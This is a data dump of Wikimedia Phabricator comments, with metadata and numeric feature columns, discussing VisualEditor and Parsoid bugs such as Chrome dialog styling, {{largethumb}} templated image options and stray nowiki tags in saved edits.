+852196,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"The code to which this refers has been since adjusted, and I think this is now long-fixed.",,,1493662142,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,3,True,,,200,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+252567,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"Per Timo:
+
+| Most likely cause of meta dialog's flash of unstyled content:
+|
+| ve.ui.Dialog.js:
+|   ""ve.ui.Dialog.static.addLocalStylesheets( [ 've.ui.Dialog.css' ] );""",,,1371579540,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1
+252564,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"So there are two somewhat separate (but possibly connected issues) here. One is that, when you load the category dialog on a cold cache (try incognito window) in Chrome, the dialog contents are displayed before they're styled. I can reproduce this on mw.org but not on localhost, presumably because localhost delivers the CSS really fast.
+
+The rendering bug that James is talking about, with the arrow appearing on the next line, only happens in Chrome and only when the flash of unstyled content also happens.
+
+It would be nice if we could block showing the dialog on the CSS loading. The way we load CSS into the dialog iframes should probably be reconsidered anyway.",,,1370966116,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51400,Images: Handle templated image options containing pipes,"Some perverse templates such as {{Largethumb}} return a string with several options separated by pipes (""thumb|<number>px""). In the PHP parser those pipes are then picked up by the link regexp, so result in the regular image options.
+
+In our attribute handling we expand attributes separately, so can end up with strings like the above in a single attribute value. In [[:de:Portal:Thüringen]] for example that is the case for the href attribute, which then caused a crash after retrieving image properties.
+
+We will likely need to handle expanded attributes containing a pipe properly by re-parsing their string representation. This will be difficult to map onto our current template-affected attribute handling.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1370889600,1586539013.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_description,resolved,True,c1,2,True,False,False,-3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+1482590,Images: Handle templated image options containing pipes,"Parsoid supports templated image options. Editability in VE of these is not a Parsoid issue. But, since then, the largethumb issues have been resolved differently and VE has been enabled on nlwiki. 
+Other missing functionality is tracked in their own bugs (ex: T88040). So, resolving this.
+",,,1586539013,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,353,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+569742,Images: Handle templated image options containing pipes,"The current name of this ticket ""Images: Handle templated image options containing pipes"" suggests that handling templated image options or image options without pipes would work. They don't. Consider renaming to ""Images: Handle templated image options"".
+
+On nl.wp largethumb==""260px|thumb"". Creating a single option template like large==""260px"" would change [[file.foo.jpg|{{largethumb}}]] into [[file.foo.jpg|{{large}}|thumb]]. The first isn't editable in VE. The latter isn't editable in VE either, though the template contains only  a single attribute, and does not contain pipes. ",,,1448822406,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,125,,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+548278,Images: Handle templated image options containing pipes,"As stated in T51400#579910, Parsoid has implemented solution 1 which has been live in production since February 2014. This prevents largethumb images from being edited in VisualEditor and also ensures that those images roundtrip correctly.
+
+If {T88040} is resolved, we could potentially unblock the editing support for these images -- to be investigated.  Other possibilities for dealing with largethumb have been discussed in comments above (T51400#579925, T51400#1071119). In addition, as far as I know, VE does not yet support editing of templated-affected attributes. So, that editing support would have to be added to VE before these images with template-generated attributes can be edited.
+
+So, TL:DR; is that the status quo seems fine for enabling VE, i.e .this task should no longer be a blocker. It prevents editing of these largethumb-marked images in VE, but it shouldn't corrupt those pages either, nor should it block editing of other parts of the page.",,,1445266289,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,120,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+426040,Images: Handle templated image options containing pipes,"Nothing to be here for this quarter .. So, I am removing the VE Q3 blocker part.",,,1426264942,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,88,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+417902,Images: Handle templated image options containing pipes,"The solution to this bug is probably something like ""largethumb"" in core or T90914.  But we could also create a {{largethumb2|File:Foo.jpg|some|options|caption}} template which expanded to a complete <figure> tag; that would allow pages which use {{largethumb2}} to be edited in VE.  Ideally we'd use something like wikilint to automatically apply the {{largethumb2}} template.",,,1424980985,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,86,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+405126,Images: Handle templated image options containing pipes,"We need to figure out what else to do with it as far as editing goes. As it stands, Parsoid supports rendering and roundtripping for these templates.",,,1422665790,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+251344,Images: Handle templated image options containing pipes,All patches merged; resetting bug status,,,1398408280,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,42,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+251339,Images: Handle templated image options containing pipes,This problem exists because nl.wp wants two thumb sizes. Why not add 'largethumb' as a core part of syntax? i.e. Has that approach been explored and rejected?,,,1392422070,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,32,,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1
+251334,Images: Handle templated image options containing pipes,"Change 110095 merged by jenkins-bot:
+Set up data-mw for all templated image attributes.
+
+https://gerrit.wikimedia.org/r/110095",,,1392413844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,32,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+251330,Images: Handle templated image options containing pipes,"Here is the latest on this. 
+
+https://gerrit.wikimedia.org/r/#/c/110095/ provides support for templated image options. It identifies individual image options that came from a template and provides VE sufficient information to make them editable. Parsoid can then serialize the edited attributes back to transclusions. See https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Transclusion-affected_attributes for how Parsoid conveys this information to clients (VE).
+
+However, {{largethumb}} is still a special case. That gerrit patch also adds support for parsing largethumb as two image options. However, Parsoid cannot provide editing support for it, i.e. we cannot mark up both ""thumb"" and ""261px"" as coming from templates, that they are connected, and that VE cannot edit them individually. As you can see from the DOM spec (linked above), the spec is already fairly complex and we do not want to complicate the spec further to support this edge case. This is not just a complication for Parsoid, but for VE, and any other clients that need to deal with this spec.
+
+That said, there are two options for how we can move forward.
+
+1. Parsoid can mark images from {{largethumb}} uneditable so that VE doesn't attempt to deal with that template. This also means that the wikitext for these images will always be preserved and can only be edited in wikitext mode.
+
+2. Parsoid makes the image editable. When the page is edited in VE, Parsoid preserves the image including {{largethumb}} transclusion when the image itself is not edited (even if other parts of the page are edited - which should be the vast majority of edits). But, if the image itself is edited, the {{largethumb}} template will effectively be subst-ed because Parsoid flattens out {{largethumb}} to regular options: ""thumb"" and ""261px"".
+
+As of now, gerrit patch 110095 implements solution 1. as an initial step. However, in the long run, we feel solution 2 is a better solution that  provides editing support and also gradually moves towards reduced largethumb usage (by subst-ing largethumb images edited in VE). John Vandenburg has suggested in comment 3 (#c3 above) that if nlwiki set 261px as the default thumbnail size, editors could simply use |thumb instead of |{{largethumb}} and get the same effect. Not sure if that is viable, but collating all suggestions here in one place.
+
+It would be good to get some input on these options.",,,1391708056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,31,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+251326,Images: Handle templated image options containing pipes,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
+WIP: Set up data-mw for all templated image attributes.
+
+https://gerrit.wikimedia.org/r/110095",,,1391639487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,31,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251321,Images: Handle templated image options containing pipes,"Change 76821 merged by jenkins-bot:
+Add new parserTests for image attributes coming from templates.
+
+https://gerrit.wikimedia.org/r/76821",,,1375218314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251315,Images: Handle templated image options containing pipes,"Change 76821 had a related patch set uploaded by Cscott:
+Add new parserTests for image attributes coming from templates.
+
+https://gerrit.wikimedia.org/r/76821",,,1375215680,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251309,Images: Handle templated image options containing pipes,"There are two independent issues here, it appears.
+
+1. Image attributes that are template-affected are not properly marked up during parse and hence doesn't rt back to its original form.  This is an issue independent of {{largethumb}} usage.  Once we fix this, even if the {{largethumb}} template doesn't parse correctly, it will RT correctly. This may be easier to fix.  Will create a separate bug report for it.
+
+[subbu@earth tests] echo '[[File:Telephone exchange 1.svg|thumb|{{echo|261px}}]]' | node parse --wt2wt
+[[File:Telephone exchange 1.svg|thumb|261px]]
+
+2. Proper rendering of the image in VE depends on us correctly handling the largethumb template (and other such templated image options containing pipes).",,,1374636592,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+251301,Images: Handle templated image options containing pipes,~ 1 in 225 nlwp articles (0.45%) have this bug.  This bug affects the whole page.,,,1374635889,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251294,Images: Handle templated image options containing pipes,"Except for eight cases, the parser fails for nl.wp pages at http://parsoid.wmflabs.org:8001/topfails all contain '{{largethumb}}'.",,,1374627506,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+251289,Images: Handle templated image options containing pipes,"Ugh, I guess we have to get to this sooner than later then and find a reasonable solution.",,,1374598056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+251284,Images: Handle templated image options containing pipes,"There are around 110 uses on enwp
+https://en.wikipedia.org/w/index.php?title=Special:WhatLinksHere/Template:Largethumb&limit=110
+They are all in the article, and most of them are [[491]]-[[635]] (years).  I'm guessing they can be subst'd without much concern, to converted to normal thumbs.
+
+On nlwp, it is way over 5000 uses
+https://nl.wikipedia.org/w/index.php?title=Speciaal:VerwijzingenNaarHier/Sjabloon:Largethumb&limit=5000
+
+They are in the pages; not in a template, and nlwp doesnt appear keen to subst: them.  Has anyone proposed that their default thumbnail be set to this value?
+
+only four uses here:
+https://nds-nl.wikipedia.org/wiki/Spesiaal:Verwiezingen_naor_disse_pagina/Mal:Largethumb",,,1374571791,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1
+251279,Images: Handle templated image options containing pipes,https://gerrit.wikimedia.org/r/67853 (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173) | change APPROVED and MERGED [by jenkins-bot],,,1370890352,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+251273,Images: Handle templated image options containing pipes,Related URL: https://gerrit.wikimedia.org/r/67853 (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173),,,1370889698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+51394,VisualEditor: Misc. issues,"https://en.wikipedia.org/w/index.php?title=Mavericks_(location)&diff=559262706&oldid=559261658
+
+There are a few issues here:
+
+* the diff presented to the user prior to save didn't include any of these extraneous changes (or I obviously wouldn't have saved the edit);
+
+* there's <nowiki> markup being inserted throughout the page, breaking a number of links; and
+
+* there's spacing normalization being done to template parameters, resulting in an even dirtier diff.
+
+I'm not sure how these issues should be split out or if there are existing bug reports for all three of these issues.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor",Medium,50.0,1370887500,1371227728.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-oqao2yl4prg5uecpylkw,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+250788,VisualEditor: Misc. issues,Marking as such.,,,1371227728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+250779,VisualEditor: Misc. issues,"The <nowiki> tags in Cite transclusions (and other tpl transclusions, if they showed up) should be fixed.  My suggestion is to close this bug now since the VE heading bug is tracked separately, and as for user entering wikitext, well, that could be a feature request for VE alerting the user when (s)he enters wikitext, or maybe a FAQ entry or something. 
+
+In all cases, this bug wont be much useful beyond this point.",,,1371227543,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+250771,VisualEditor: Misc. issues,"MZMcBride: For future reference, only one single bug per report please. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . I'd normally close such tickets as INVALID and ask the reporter to file separate tickets.",,,1370992657,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+250765,VisualEditor: Misc. issues,"The <nowiki> tags in Cite transclusions in ref tags is a Parsoid bug.  I have that on my radar -- will look into that next possibly.
+
+As for <nowiki> tags in other places, looking at bug reports on parsoid.wmflabs.org, there are three different reasons
+
+* due to the bug in ref-tags I mentioned above
+
+* user entering wikitext in the visual editor (Ex: ==See also==* [[Tomato (company)]] in https://en.wikipedia.org/w/index.php?title=Underworld_(band)&diff=prev&oldid=559255806 based on looking at the HTML sent to Parsoid).  I've seen wikitext entered via VE in a few bug reports -- all such wikitext will be nowiki escaped by Parsoid
+
+* Empty heading left behind in the visual editor (tracked in Bug 49452)",,,1370984493,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+250760,VisualEditor: Misc. issues,"Expansion wtf (warning: large diff):
+
+https://en.wikipedia.org/w/index.php?title=Breast_cancer&diff=558696523&oldid=558695500",,,1370895676,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+250754,VisualEditor: Misc. issues,"(In reply to comment #3)
+> Misspelling trap:
+> 
+> https://en.wikipedia.org/w/index.
+> php?title=Pepsi_Next&curid=35519554&diff=559230837&oldid=559223494
+That one isn't a serialization or round-tripping bug. The user edited the text of the link, but didn't edit the target.
+
+Arguably, links where the text equals the target should have the target track the text when the user edits them. Or maybe they shouldn't. James?
+
+(In reply to comment #2)
+> <Gallery> funkiness:
+> 
+> https://en.wikipedia.org/w/index.
+> php?title=British_Rail_Class_50&curid=1448622&diff=559199747&oldid=558786539
+Probably a Parsoid bug due to Gallery being capitalized. CCing Gabriel.
+
+The nowiki issues also look like Parsoid serialization bugs to me.",,,1370895167,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+250749,VisualEditor: Misc. issues,"<nowiki> funkiness:
+
+https://en.wikipedia.org/w/index.php?title=Louis-J%C3%A9r%C3%B4me_Gohier&curid=2785680&diff=558445883&oldid=542944471",,,1370894826,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+250743,VisualEditor: Misc. issues,"Misspelling trap:
+
+https://en.wikipedia.org/w/index.php?title=Pepsi_Next&curid=35519554&diff=559230837&oldid=559223494",,,1370889236,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+250737,VisualEditor: Misc. issues,"<Gallery> funkiness:
+
